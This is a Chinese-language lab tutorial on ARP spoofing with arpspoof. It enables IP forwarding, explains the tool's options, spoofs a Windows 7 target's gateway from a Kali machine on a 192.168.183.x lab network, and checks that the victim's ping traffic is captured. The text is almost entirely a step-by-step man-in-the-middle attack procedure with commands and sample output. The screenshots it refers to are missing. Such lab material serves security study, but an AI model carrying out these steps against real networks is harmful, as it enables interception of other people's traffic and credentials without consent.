ARP攻击--（ArpSpoof 欺骗工具）

 1，开启路由转发功能

如果不开启路由传发，使用arpspoof后目标主机将无法上网。

echo 1 >> /proc/sys/net/ipv4/ip_forward

2，基本命令：

arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

-i 参数用于指定一块网卡，必须指定，没有默认值。

-t 参数后的第一个IP地址是目标的主机，第二个IP地址是你需要伪装主机（网关）  。

 -c 参数的三个选项：own、host或both。选择own或host，arpspoof在清理时会给目标主机每隔1秒发送1个ARP响应包共计5个，若选择both，则总共发送10个ARP响应包，耗时10秒。

 -r 参数 能嗅探到来往两个方向的数据包。

3，前期准备

攻击者（kali）：

ip-192.168.183.132 

Mac-00:0c:29:c2:07:8c

目标机（win7）：

ip-192.168.183.135

Mac-00-0C-29-B8-07-37

网关：

ip-192.168.183.2

Mac-00-50-56-fc-79-b3

4，欺骗

arpspoof -i eth0 -t 192.168.183.135 192.168.183.2

eth0                          网卡

192.168.183.135      目标主机

192.168.183.2          网关

0:c:29:c2:7:8c 0:c:29:b8:7:37 0806 42: arp reply 192.168.183.2 is-at 0:c:29:c2:7:8c

0:c:29:c2:7:8c     

攻击者（kali） Mac地址

0:c:29:b8:7:37   

目标机（win7）Mac地址

192.168.183.2     

需要伪装的主机ip（网关）

0:c:29:c2:7:8c   

替换后网关Mac地址

（原地址：00-50-56-fc-79-b3）

未攻击前win7的ARP表： 

攻击后win7的ARP表： 

5，测试攻击成果

受害者（win7）:  ping  www.baidu.com

看看攻击者（kali）有没有捕获到。

  成功捕获：（kali捕获截图）